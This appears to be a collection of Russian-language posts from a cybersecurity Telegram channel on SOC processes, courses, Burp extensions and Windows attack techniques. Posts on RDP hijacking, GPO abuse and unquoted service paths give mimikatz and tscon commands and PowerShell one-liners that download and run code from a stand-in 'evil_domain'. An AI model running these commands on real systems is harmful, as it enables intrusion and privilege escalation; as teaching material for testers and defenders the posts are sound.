Исследовать — значит видеть то, что видели все, и думать так, как не думал никто...
©Альберт Сент-Дьёрди

Приветствую Вас, дорогие друзья!👋🏻
На связи @dolgihser

Как Вы уже могли понять из предыдущего моего поста - я большой фанат аналитики и фактов. А уж когда сталкиваешься с действительно обширными и, в некоторой степени, фундаментальными с точки зрения масштабности исследованиями, тем более в мире кибербезопасности, то одно удовольствие погрузиться в них по полной и изучать.😋😋

Собственно говоря, именно с таким исследованием я недавно и столкнулся. Сегодня в мировой паутине можно найти информацию практически обо всём (и это великолепно), но в текучке ежедневных забот у меня иногда возникает огромная потребность в том, чтобы получить информацию структурированно, буквально разложенную по полочкам. Думаю, многие из Вас также сталкиваются с этим🙈🙈

Поэтому спешу поделиться с Вами результатами работы Сектора аналитических исследований университета Иннополис "Данные без опасности". Отчет вышел осенью 2023 (при этом я наткнулся на него совсем недавно, уж не знаю, как я мог это упустить😴) и охватывает мир кибербезопасности в 2021-2022 и первое полугодие 2023 года. Я очень надеюсь, что кто-то из Вас уже его видел, ну а с теми, кто, как и я, чуть запоздал, спешу поделиться.

Уверен, каждый почерпнет для себя что-нибудь интересное: тут и про рынок, и про вендоров с их продуктами, и про группировки с их инструментами. Даже time-line развития киберугроз отрисовали (да и в целом оформление супер). Одним словом, молодцы.👏🏻👏🏻

В общем, лично для меня было занятно и поучительно (при этом кое с какой информацией я и не согласился), надеюсь, что понравится и Вам. Ну и будем ждать продолжение🥳

С любовью к аналитике,
Ваш @dolgihser😊

#SOC #pentest #security #hacking #ИБ #blueteam #cybersecurity #redteam #purpleteam #кибербезопасность #REDtalk

🚀 Друзья, привет! 🌐 Если вы когда-то задумывались о том, как работают Endpoint Detection and Response (EDR), то у нас есть отличная статья для вас!
Вместе с автором вы не только глубоко познаете процесс работы EDR, но и даже сможете написать свой простенький EDR😉


🔗 Ссылка на статью: SenseCon 23: From Windows Drivers to an Almost Fully Working EDR

#REDtalk #blueteam #ИБ #ИнформационнаяБезопасность #cybersecurity #security #кибербезопасность

🎉 Привет, друзья! 🎉

Завтра, в 13:00, на канале нашего уважаемого друга и эксперта в области безопасности - Владимира Кочанова, пройдет потрясающий стрим! 🚀

Аудит функции СБ! По результатам - увольнения?

Вместе с ведущим вы узнаете о том, что представляет из себя аудит СБ, как он может помочь вашей компании и как этот процесс происходит на самом деле. 🕵️‍♂️

Не упустите возможность приобрести ценные знания о безопасности вашего бизнеса! 💼

Пунктуальность — умение угадывать, на сколько опоздает другой...🕰 🕰
©Эван Эзар

Приветствую Вас, дорогие друзья!👋🏻
На связи @dolgihser

Да, этот момент настал. Я наконец-то могу представить Вам на рассмотрение свою дебютную статью. Прошу прощения за задержку🙏🏻

Как ранее и говорилось, обсудим виды и модели SOC, а также поймем, как их классифицировать.🌐

Верю, что это удастся. Я очень старался.🧑🏻‍💻

Примечание: этой статьей/постом мы потихоньку заканчиваем с введением в общую тематику SOC и далее уже будем углубляться в процессы, технологии, людей.✍🏻

С благодарностью к Вашей пунктуальности,
Ваш @dolgihser😊

🔗 Статья доступна по ссылке: SOC. Введение в тематику. Какие бывают и как их определять.

#SOC #pentest #security #hacking #ИБ #blueteam #cybersecurity #redteam #purpleteam #кибербезопасность #REDtalk

🔒 Друзья, привет!

🎉 Недавно у нашего хорошего друга, Владимира Кочанова, прошел интересный стрим на тему "Аудит функции СБ! Увольнения?".

Для тех, кто не смог посмотреть в прямом эфире, Владимир подготовил запись, которой мы с удовольствием делимся с вами.

🔍 На стриме Владимир затронул следующие важные вопросы:

1️⃣ Уволят ли руководителя службы безопасности после аудита и почему ему выгодно проявить инициативу?
2️⃣ Как проходит аудит и к чему нужно готовиться?
3️⃣ В каких компаниях нужен аудит функции службы безопасности?
4️⃣ Как сэкономить на стоимости аудита и что делать с результатами?

❓ Если эти вопросы волнуют и вас, не пропустите запись стрима, чтобы получить ответы от эксперта в области безопасности!

♦️Уволят ли руководителя службы безопасности после аудита и почему ему выгодно проявить инициативу?
♦️Как проходит аудит и к чему нужно готовиться?
♦️В каких компаниях нужен аудит функции службы безопасности?
♦️Как сэкономить на стоимости аудита и что делать с результатами?

На все эти вопросы я постарался ответить в течении заявленных 15 минут, но не справился и говорил 30 минут!

Еженедельный выпуск

"15 минут полезности для бизнеса и безопасности бизнеса"

♦️Владимир Кочанов♦️

Автор и создатель канала СБПроБизнес, практикующий эксперт в безопасности бизнеса!

Посмотреть видео можно по ссылкам👇

Дзен👈

YouTube👈

VK👈

Подписавшись на наш ТГ канал https://t.me/sbprobiz сможете выбирать темы "полезностей" и задать вопросы прямо на стриме🤗

P.S. Небольшой спойлер - не уволят, если сам проявит инициативу в аудите😜☝️

#сбполезность #видео

💥Привет! На связи @pyfffe.

Чем в основном пользуются при пентесте веб-приложений? Конечно же Burp Suite. Но почему именно Burp, если есть Бесплатное решение Owasp Zap? В первую очередь, интерфейс бурпа более user-friendly и более функциональный. К тому же в нём встроен мощный сканер уязвимостей, да и куча других плюшек, как collaborator, repeater, sequencer и так далее по вкладкам 😁 Но самое крутое - это возможность создания своих расширений на Python или Java. Покажу несколько популярных примеров:

1) Начну с Json web tokens. Это расширение позволяет прямо в прокси и репитере, при просмотре запросов, быстро декодировать JWT токены и совершать с ними различные манипуляции, вроде переподписования или изменения алгоритма, прямо на ходу, без применения сторонних утилит. Удобно, когда нужно быстренько с ними что-то сделать.

2) Param Miner — Это расширение, позволяющее проводить поиск названий параметров (в get, post запросах, заголовках, куках). Единственная проблема - он имеет большое количество настроек для запуска (конечно же, это плюс, нужно только прочитать документацию 👨‍💻).

3) Если вам нужно запустить какое-то хитрое сканирование, а настроек интрудера не хватает, то отлично подойдёт расширение Turbo Intruder. Там вся конфигурация пишется на Python, что позволяет максимально гибко настраивать сканы.

4) Logger++ — тоже отличное расширения для более продвинутого логирования всего. Особенно подойдёт, если нужно быстро экспортировать что-то из логов в файл (любого формата) для других инструментов.

5) Упомяну еще Bypass WAF и 403 Bypasser. Оба они используются для обхода блокировки запрещенных страниц. Первое автоматически в каждый запрос подставляет заголовки типа Originating-IP: 127.0.0.1. Второе вставляет пейлоады в url запросоы для обхода ресурсов c ограничениями.

Цель этого поста — не показать конкретные расширения, а саму возможность и причины их использовать 🌐. Можно заметить, что все они абсолютно разные и разработаны каждое для своей цели. Всех их можно установить в один клик в соответствующей вкладке Бурпа, а умение ими пользоваться отражает ваш опыт и навыки. Поначалу глаза разбегаются от количества расширений, но есть репа, в которой их можно посмотреть с кратким описанием и отсортированным по уязвимостям.

#REDtalk #cybersecurity #hacking #ИБ #кибербезопасность #BurpSuite #Pentest #BugBounty

🧑‍💻Привет, друзья! На связи @closed_character

Сегодня мы поговорим о том, как искать скрытые (недекларируемые) параметры web-приложений. Это особенно актуально, когда мы сталкиваемся с "black box", т.е. когда нам неизвестно ничего о приложении. Иногда так много интересного скрыто от нас, но главная задача специалиста по тестированию на проникновение — умение видеть то, что обычному пользователю недоступно.

🛠️ Ручки это конечно здорово, но хороший пентестер - ленивый пентестер. Поэтому давайте поговорим о нескольких инструментах, которые помогут нам автоматизировать данный процесс:


1️⃣ Paraminer — мы уже писали о нем ранее. Отличный инструмент для поиска параметров в get и post запросах, а также скрытых заголовков. Особенно раскрывается с burp pro.


2️⃣ X8 — еще один мощный инструмент для поиска скрытых параметров, написаный на RUST и вобравший в себя все плюсы данного языка. Обладает широким набором функций для более глубокого анализа и обнаружения скрытых ресурсов, такими как исключение из поиска динамических строк, рекурсивный поиск, гибкая настройка отправки параметров за счет шаблонизатора.

x8 -u https://target_domain/index.php --cookie "session=xyz" --wordlist your_wordlist.txt

3️⃣ Arjun - это инструмент на Python, который предназначен для обнаружения скрытых параметров в HTTP-запросах. Он способен находить параметры в запросах GET/POST/POST-JSON/POST-XML и обеспечивает возможность импорта и экспорта данных из/в Burp Suite/Owasp ZAP. Однако, у него есть недостаток: фиксированное значение параметров при брутфорсе (по умолчанию 500), т.е одновременно будут отсылаться 500 параметров, что может привести к превышению ограничений некоторых серверов и вызвать ошибку "414 Request-URI Too Large”

arjun -u https://target_domain/index.php

4️⃣ Paramspider - это замечательный инструмент, который заслуживает внимания. В отличие от других упомянутых инструментов, он извлекает URL-адреса из веб-архивов, что позволяет обнаружить интересные параметры. Кроме того, он способен извлекать параметры из поддоменов.

paramspider -d target_domain

paramspider -l domains.txt

#REDtalk #BugBounty #hacking #pentest #кибербезопасность #cybersecurity

💥 Привет! На связи @pyfffe

Поговорим про классификацию злоумышленников. Как их различают и создают модели. Зачем это нужно и работает ли это вообще?

Начнем с вопроса “Зачем?”🤔. В первую очередь это нужно для упрощения понимания того, как действует злоумышленник (он же хакер, он же Adversary). Классификация и модель угроз сильно помогает разработчикам ids/ips систем и аналитикам SOC. На основе придуманных моделей, о которых я напишу ниже, можно по различным отпечаткам понять кто, как и зачем проводит ту или иную атаку. Наверное, при слове “Модель злоумышленника” у всех на ум сразу приходит Mitre ATT&CK или Cyber Kill Chain.

Mitre ATT&CK — Это таблица (с модным названием “матрица”), которая содержит список тактик - того, чего добивается злоумышленник. Каждая тактика содержит список техник - того, как он этого добивается. Помимо этого, в матрице представлено ПО, используемое в каждой технике и классификацию APT, кто какие техники использует. Существует 3 матрицы - Каждая нацелена на свою область, а именно это корпоративная сеть, мобильные устройства и облачные технологии. При этом используемые тактики в них практически не отличаются, но вот техники разные.

Термин APT (Advanced Persistent Threat) был придуман ВВС США в 2006 году. Под ним понимается некая угроза ИБ, проводимая высококвалифицированной группировкой, обычно спонсируемой государствами. Их также пытаются классифицировать по различным признакам, например по используемому ПО и техникам. Из примеров можно назвать APT38 (Lazarus Group) и Ember Bear.

Помимо Mitre ATT&CK существует еще одна модель — Cyber Kill Chain 🔗. Как и написано в названии, она представляет собой модель цепочки атак из следующих шагов - разведка, вооружение, доставка, заражение, инсталляция, получение контроля и выполнение действий. Если злоумышленник выполнит все эти шаги, то система будет полностью скомпрометирована. Данная модель хорошо подходит для моделирования угроз. Её можно использовать в паре с Mitre ATT&CK.

Есть еще много документов, так или иначе пытающихся классифицировать хакеров. Но важно отметить, что хотя эти модели предоставляют ценные ресурсы, абсолютная точность может быть вызвана сложностью и быстротой эволюции киберугроз, требуя регулярного обновления и адаптации 🛡️.

#REDtalk #cybersecurity #ИБ #кибербезопасность #APT #SOC

Хороший процесс не может не родить результат...
©Анатолий Тосс

Приветствую Вас, дорогие друзья!👋🏻
На связи @dolgihser

Как ранее договорились, приступаем к изучению процессов в SOC. Рассматривайте этот пост как анонс, так как, подумав на досуге, пришел к мнению о том, что детальное описание всего, что хочется Вам рассказать - это, наверное, всё-таки ближе к формату статей.👨🏻‍💻👨🏻‍💻

Как ранее уже упоминал, MITRE выделяет около 40 процессов в SOC. Нам же с Вами предлагаю чуть упростить задачу и рассмотреть процессы, объединенные в следующие блоки:
📍Мониторинг событий ИБ
📍Анализ инцидента ИБ
📍Реагирование на инцидент ИБ
📍Аналитика по инциденту ИБ
📍Проактивный поиск угроз
📍Киберкриминалистика
📍Контроль уязвимостей
📍Анализ защищенности
📍Эксплуатация СЗИ (средств защиты информации)
📍Security Awareness (повышение осведомленности сотрудников в части ИБ)

Каждый блок содержит в себе от 1 до 4 процессов, займемся их изучением, ну а по тем, что останутся из MITRE, можно будет сделать отдельный пост/статью (например, про процесс взаимодействия с общественностью и СМИ😁).

Также параллельно начнем рассматривать технические решения по ИБ, которые требуются для обеспечения каждого процесса.

Ну и начать предлагаю с блока "Мониторинг событий ИБ", а в части инструментария - с того, что называют "ядерной триадой SOC" - SIEM, EDR, NTA.🦾🦾

На этом удаляюсь готовить материал, а Вам желаю хороших выходных и максимально продуктивной недели.❤️

С любовью к процессам и Вам,
Ваш @dolgihser😊

#SOC #pentest #security #hacking #ИБ #blueteam #cybersecurity #redteam #purpleteam #кибербезопасность #REDtalk

💥 Привет! На связи @pyfffe

Как-то в начале зимы я захотел поиграть с антивирусами, понять, как они работают и как их обходить. И решил переписать мои наблюдения в статью. Но внезапно оказалось, что материала очень много 🤔, после чего я решил сделать не серию статей, но как минимум, разделить его на несколько частей.

И вот, спустя несколько месяцев, наконец сделал продолжение. Если первая часть была больше про теорию, то тут мы уже немного поиграем в хацкеров.

Приятного чтения! Ну а я пока возьму небольшой двухнедельный перерыв. Оставляю канал в надёжных руках @closed_character и @dolgihser

🔗 Часть 1. Немного теории о работе антивирусов
🔗 Часть 2. Немного практики по их обходу

#REDTalk #CyberSecurity #InfoSec #MalwareAnalysis #AVBypass #Redteam #ИБ #Кибербезопасность #Антивирусы

🔒 Привет, друзья! 👋 На связи @closed_character!

Сегодня я расскажу вам про боковое перемещение (Lateral Movement). 🛡️ Это тактика, которую хакеры применяют для постепенного продвижения по сети после взлома одной точки входа. Они ищут ценные данные или другие активы для утечки.

Один из таких методов - это захват сеанса RDP (RDP Session Hijacking). Если хакер получил полный контроль над системой (права SYSTEM), он может захватить сеанс RDP другого пользователя. Это позволяет ему обходить процесс поиска учетных данных этого пользователя.

Но что для этого нужно знать? Сначала неплохо бы посмотреть список сеансов. Это можно сделать двумя способами. Для любителей GUI: загляните в Диспетчер задач Windows на вкладку «Пользователи». Ну, и кстати, это менее заметный способ.

Второй способ - воспользоваться утилитой query. 🕵️‍♂️

query.exe user

А далее мы можем воспользоваться встроенной утилитой tscon. Она используется для управления сеансами пользователей RDP. С ее помощью можно перенаправить сеанс пользователя на другой сеанс, например, для перемещения сеанса пользователя с одного терминального сервера на другой. Сделать это можно следующей командой:

tscon.exe session_id /dest:session_name

Или можно воспользоваться mimikatz. 🔍

privilege::debug
token::elevate
ts::remote /id:session_id

Так что друзья, помните, что после завершения работы с удаленным рабочим столом (RDP), важно корректно завершить сеанс. Для этого необходимо кликнуть “ПУСК→ваш профиль→Выйти”

Подписывайтесь на канал, чтобы быть в курсе интересных тем из мира ИБ! И не забывайте, обеспечение безопасности - это дело каждого из нас. Давайте сделаем этот мир чуточку безопаснее🛡️🔐

#REDtalk #cybersecurity #pentest #redteam #кибербезопасность #purpleteam #ИБ

Уж лучше совсем не помышлять об отыскании каких бы то ни было истин, чем делать это без всякого метода...
©Рене Декарт

Приветствую Вас, дорогие друзья!👋🏻
На связи @dolgihser

В ходе выстраивания процессов SOC (по которым сейчас готовлю для Вас материалы) очень важно с заданной периодичностью определять текущее местоположение, динамику работы, и, конечно же, планирование того, что требуется делать дальше. Как Вы уже догадались, сегодня затронем тему методологии и стандартизации работы SOC.🚦📚

Любое управляемое развитие требует планирования и непрерывной оценки зрелости, и SOC здесь не исключение (вне зависимости от его типа). И тут перед нами встает вопрос: по каким критериям и как я могу оценить уровень зрелости, четко определить "тонкие" места, тормозящие развитие, и зафиксировать конкретные шаги, направленные на улучшение всей работы SOC? Иными словами, где взять такой опросник, который всё поможет однозначно определить? 🤔🤔

В своей работе для оценки работы моего подразделения я применяю и руководствуюсь моделью SOC-CMM. Она появилась в 2017 году как результат магистерской диссертации, написанной Робом ван Осом в ходе обучения в Лулеоском Технологическом Университете (LTU, Netherlands). SOC-CMM стала настолько популярной, что к сегодняшнему дню де-факто стала уже глобальным стандартом для оценки уровня зрелости SOC, который многие крупные компании используют для прохождения внутреннего аудита и сертификации. Ну а Роб ван Ос стал стратегическим советником по развитию многих центров мониторинга и реагирования на киберугрозы.🔥🔥

SOC-CMM представляет собой, если упрощенно, объемный "опросник", затрагивающий абсолютно все аспекты работы SOC. Есть 2 типа "опросников": basic и advanced. Я на текущий момент использую basic (на нынешнем этапе развития моего подразделения вполне достаточно). По результатам заполнения Вы получаете метрики всех областей работы, а также диаграмму "паутину", на которой наглядно показана работа (ну либо бездействие🙈) и четко видно, куда двигаться дальше. Отмечу, что прохождение таких аудитов "зрелости" - мероприятие достаточно объемное. Но если Вы сторонник непрерывного развития, то проводить его нужно обязательно.

В общем-то, это всё, чем хотел бы поделиться с Вами сегодня)) Надеюсь, что этим постом помогу Вам найти ответы на обозначенные Выше вопросы.🙏🏻🙏🏻

🔗Ссылка на официальный сайт SOC-CMM: https://soc-cmm.com/

С одержимостью к развитию,
Ваш @dolgihser😊

#SOC #pentest #security #hacking #ИБ #blueteam #cybersecurity #redteam #purpleteam #кибербезопасность #REDtalk

Привет, друзья! Сегодня у нас для вас отличный материал по анализу защищенности 1С! 🔍💻

Автор статьи проделал большую работу. Он собрал всю доступную информацию в одном месте, структурировал её и подтвердил на практике. 🕵

А пока мы готовим для вас кое-что крайне интересное 🤫, настоятельно рекомендуем ознакомиться с этой статьей!

📝 Ссылка на статью: https://ardent101.github.io/posts/1c/

#REDtalk #cybersecurity #pentest #redteam #1C

Учись так, будто тебе никогда не придется зарабатывать деньги, и работай так, будто ты никогда не учился...📚📚
©Уоррен Баффет

Приветствую Вас, дорогие друзья!👋🏻
На связи @dolgihser

Пока готовится статья по Мониторингу событий ИБ, для разбавления информации - небольшой пост для тех наших коллег, кто только начинает знакомство с миром кибербезопасности🙌🏻

Если Вы, как и мои коллеги @closed_character и @pyfffe, склоняетесь к красно-синему миру ИБ, либо еще не определились с направлением в принципе (если в Вас живет прирожденный DevSecOps, я Вам искренне завидую🙈), хочу порекомендовать Вам пару бесплатных курсов, пройдя которые, Вы станете чуть ближе к принятию выбора относительно области ИБ, в которой хотите развиваться.🤓

1) Курс "Профессия - Белый Хакер" от CyberED.
Лично проходил данный курс и могу однозначно рекомендовать его. В ходе обучения пройдете полный путь атаки (от разведки по открытым источникам до захвата управления инфраструктурой), реализуя самостоятельно каждый этап на тестовых стендах. Научитесь анализировать трафик, имитировать атаки, эксплуатировать уязвимости. Дополнительный "плюсик в карму" создателям курса за большое количество материалов для самостоятельного изучения в каждом из уроков.

🔗Ссылка на курс: https://cyber-ed.ru/professiya-hacker/#form_block_id

2) Курс "Анализ защищенности веб-приложений" от Codeby Aademy.
Вводный курс для новичков, на котором будут разобраны популярнейшие уязвимости в веб-приложениях, которые предлагается изучать как со стороны атакующего, так и защитника. Курс достаточно небольшой, состоит из 5 уроков.

🔗Ссылка на курс: https://wasa.codeby.school/

Важно помнить, что вышеуказанные курсы не являются "волшебной кибер-таблеткой", после которых Вы станете супер-профи с уникальными навыками. Но опыт, который Вы приобретете, создаст Вам определенный фундамент для дальнейшего развития.👍🏻

Конечно, в открытом доступе есть специализированная литература, полигоны для кибер-учений и множество других материалов для саморазвития и повышения компетенций. Помните, что одно не заменяет другое, всегда пробуйте что-то новое и никогда не останавливайтесь в изучении, исследовании чего-то нового. И тогда всё получится.🙏🏻

С неутомимой тягой к знаниям,
Ваш @dolgihser😊

#SOC #pentest #security #hacking #ИБ #blueteam #cybersecurity #redteam #purpleteam #кибербезопасность #REDtalk

Привет, друзья! 🌟 На связи @closed_character! 💻

Групповые политики Windows (Group Policy Object) - как две стороны одной медали. Это мощный инструмент, который способен обеспечить надежную защиту вашей сети, но в то же время - мощное оружие для кибератак. 🛡️🔒

Почему это интересно для злоумышленника?

1. Повышение привилегий: Путем изменения групповых политик злоумышленники могут получить администраторские привилегии на компьютерах в сети. 🔑🚫
2. Распространение вредоносного ПО: Они могут использовать GPO для автоматического распространения вредоносного программного обеспечения по всей сети. 🦠💻

Сегодня я расскажу вам о GPO Abuse (злоупотребление групповыми политиками) - это техника, при которой злоумышленники используют групповые политики Windows для изменения настроек безопасности в сети, чтобы повысить свои привилегии или распространить вредоносное ПО. 🕵️‍♂️🛡️

Итак, как же это сделать:

Сначала стоит найти уязвимые GPO с возможностью записи. 🔍

Get-DomainObjectAcl -Identity "SuperSecureGPO" -ResolveGUIDs | Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericWrite|AllExtendedWrite|WriteDacl|WriteProperty|WriteMember|GenericAll|WriteOwner")}

Затем, следует перейти к папке SYSVOL и изменить находящиеся там файлы или создать новые. Конфигурационные файлы для каждого GPO хранятся по адресу:

\\DC_IP\SYSVOL\<домен>\Политика\<Уникальный идентификатор GPO>\

Однако, это не так просто. Необходимо выполнить несколько манипуляций, таких как изменение:

- значения атрибута “*gPCMachineExtensionNames*” объекта GPO;
- значения атрибута “*versionNumber*” объекта GPO;
- значения версии в файле GPT.ini .

Также необходимо знать GUID для изменяемых GPO.

Альтернативой может послужить SharpGPOAbuse.

SharpGPOAbuse: https://github.com/FSecureLABS/SharpGPOAbuse

Добавить пользователя в группу локальных администраторов

.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount test_user --GPOName "Vulnerable GPO"

Добавить задачу на доставку ПО

.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://evil_domain/not_mimikatz.exe'))" --GPOName "Vulnerable GPO" --FilterEnabled --TargetDnsName target.domain.com

Групповые политики - это мощный инструмент, который необходимо использовать осторожно. Понимание и контроль над ними - ключевые моменты для обеспечения безопасности вашей сети. 🚀🔒

#SOC #pentest #security #hacking #ИБ #blueteam #cybersecurity #redteam #purpleteam #кибербезопасность #REDtalk

💥 Привет, друзья! На связи @pyfffe

Хочу затронуть тему хеширования паролей.

Все мы знаем, что пароли на серверах и наших компьютерах хранятся не в 🔗 открытом, а в хешированном или даже зашифрованном виде. Однако, не все понимают важность выбора алгоритма.

Все мы также знаем, что md5 уже давно не является безопасной функцией, так как перестал являться криптостойким алгоритмом. Даже семейство алгоритмов SHA, несмотря на название расшифровку “Secure Hash Algorythm”, считается устаревшим.

Вместо этого необходимо применять алгоритмы, разработанные специально для хранения паролей. К примеру, Bcrypt или Yescrypt. Первый использует алгоритм шифрования blowfish, из-за чего скорость брутфорса его хешей сильно уменьшается. Второй, более новый, использует собственный алгоритм шифрования. То, что получается в результате “хеширования”, является не совсем хешем, а ключом, сформированным на основе заданного пароля🛡

У меня есть небольшая 🔗 статья по введению в брутфорс. В ней наглядно показано, почему нельзя использовать устаревшие алгоритмы хеширования. Рекомендую к прочтению 😊

Вывод: Использование надежных алгоритмов хеширования паролей, с солью и множеством итераций, является критически важным для обеспечения безопасности данных. Эти методы обеспечивают высокий уровень стойкости к атакам перебором паролей и защищают конфиденциальность паролей, предотвращая их утечку и несанкционированный доступ к системам и учетным записям пользователей.

#REDtalk #CyberSecurity #InfoSec #pentest #ИБ #Кибербезопасность

Привет, друзья! На связи @closed_character! 👋

Сегодня расскажу вам про “Path Interception by Unquoted Path”.

Что это такое и как это работает? 🤔

Если путь к исполняемому файлу службы содержит пробелы и не заключен в кавычки, Windows интерпретирует части пути до первого пробела, как имя исполняемого файла, а всё после первого пробела - как аргументы для него. Эта незначительная с виду ошибка может позволить злоумышленнику получить повышенные привилегии, если служба запускается от учетной записи с повышенными правами.

Давайте рассмотрим пример:

C:\Program Files\Vulner App\my app\test.exe

Как это интерпретирует система:

1) C:\Program.exe
2) C:\Program Files\Vulner.exe
3) C:\Program Files\Vulner App\my.exe
4) C:\Program Files\Vulner App\my app\test.exe

Мы можем поместить свой исполняемый файл на один из промежуточных путей с тем же именем. Например:

1) C:\Program.exe
2) C:\Program Files\Vulner.exe
3) C:\Program Files\Vulner App\my.exe

И когда служба запустится, выполнится наш исполняемый файл, а не исходный.

Как можно найти подобные ошибки 🔍 :

cmd /c 'wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:windows\\" |findstr /i /v """'

Либо воспользоваться скриптом PowerUp.ps1: https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerUp/PowerUp.ps1

powershell.exe' -exec bypass -command "IEX (New-Object Net.WebClient).DownloadString('http(s)://evil_domain/PowerUp.ps1');Get-ServiceUnquoted"

Чтобы избежать этой уязвимости необходимо заключать пути к исполняемым файлам в кавычки. Это гарантирует то, что Windows правильно интерпретирует весь путь как единое целое, даже если он содержит пробелы или специальные символы. 🛡️

#REDtalk #pentest #security #hacking #ИБ #cybersecurity #redteam #purpleteam #кибербезопасность

💥 Всем привет! На связи @pyfffe

Хочу поделится своим списком telegram-каналов, тем или иным образом связанными с информационной безопасностью.

P. S. Если что, это просто мой список. Реферальных ссылок нет, за рекламу никто не платил. 😉

1⃣ Начну с нескольких новостных. Anti Malware постят новостей на российском ИБ рынке и в мире бумажной безопасности;

2⃣ SecurityLabs - тоже новостной канал, но с немного техническим уклоном;

3⃣ Куда же без мемов. Information Security Memes постят забавные ИБ мемы;

4⃣ Естественно, одного мемного канала мало 😁 Вот еще один - RWPS;

Ну и закончу самым интересным - каналами, полностью направленными на техническую часть;

5⃣ RedTeam brazzers - Заметки пентестеров по Redteam-техникам;

6⃣ k8s security - Новости, уязвимости и защита по микросервисам;

7️⃣ Zer0Day Lab и Pwn3rzs - для “демонстрации” различных инструментов для красных и синих.

8️⃣ CyberSecurityTechnologies - Крупный канал, в котором публикуются PoC’и к уязвимостям, различный статьи, техники обхода всего, что только есть в мире. Рекомендую, если хотите почувствовать себя настоящими хацкерами. 🛡

Вроде всё, вот такой получился список. Как по мне, идеально для просмотра по утрам, перед работой. Жду критику и предложения в комментариях 😄

#REDTalk #redteam #cybersecurity #InfoSec #ИБ #кибербезопасность

Совершенно разные, но при этом до невозможности близкие....👐🏻
©Эльчин Сафарли

Приветствую Вас, дорогие друзья!👋🏻
На связи @dolgihser

В течение последнего времени моя команда начала часто сталкиваться с ситуацией, которая и послужила идеей для написания этого поста, а именно: нас начали путать с коллегами из NOC. Честно говоря, был уверен, что у нас в организации таких ситуаций удастся избежать, вопрос-то достаточно простой в решении. Но как же я был неправ😁

Итак, что же такое NOC, в чем отличие от SOC, и откуда взялась эта путаница?)

NOC (Network Operation Center) - в самом простом понимании это команда мониторинга и "алертинга". Хм, звучит очень схоже с SOC, да и аббревиатура практически такая же.🤔
В общем-то, вышеуказанное и послужило путаницей для сотрудников, не погруженных в глубокие различия ИТ и ИБ, что привело в итоге к тому, что мы некоторое короткое время являлись частью NOC-а))

Изначально, как видно из расшифровки, команды NOC занимались обеспечением бесперебойной работы на уровне сети, отвечая на доступность сервиса. К сегодняшнему дню NOC достаточно сильно трансформировался и теперь под целевой работой такого подразделения понимают и обработку алертов и оповещений от систем/сервисов/оборудования (т.е. обеспечение мониторинга и реагирования на работоспособность инфраструктуры, исходя из запросов бизнеса), и оказание тех. поддержки внешним пользователям и самим сотрудникам. Например, у нас NOC - это в принципе единое окно для взаимодействия со всеми подразделениями в нашей организации.👍🏻👍🏻

Как Вы уже поняли, верхне-уровнево NOC и SOC преследуют одну и ту же цель (обеспечение мониторинга и реагирования на нелегитимные события), и работают, можно сказать, по одному трафарету (соблюдение SLA, runbooks, несколько линий специалистов и т.д.). Разнятся области и сценарии.

Исходя из ситуации, с которой мы столкнулись, я лично на себе осознал, насколько важно задокументировать разграничение зон ответственности NOC и SOC (чем мы сейчас и занимаемся с коллегами). Настолько же важно грамотно доводить до коллег (особенно не погруженных в ИТ), в каких ситуациях и случаях им стоит обращаться в NOC, а в каких - в SOC. Да и целесообразно ли в принципе предоставлять коллегам возможность напрямую взаимодействовать и с NOC, и с SOC? Или лучше всё-таки оставить NOC единой точкой входа по работе со всеми обращениями? Вопрос дискуссионный, мы у себя еще не пришли к консенсусу. Но, не сомневаюсь, обязательно придем.🫡

Такой вот сегодня получился короткий и не сильно умудренный технически пятничный пост))

С пламенным приветом команде нашего NOC,
Ваш @dolgihser😊

#SOC #pentest #security #hacking #ИБ #blueteam #cybersecurity #redteam #purpleteam #кибербезопасность #REDtalk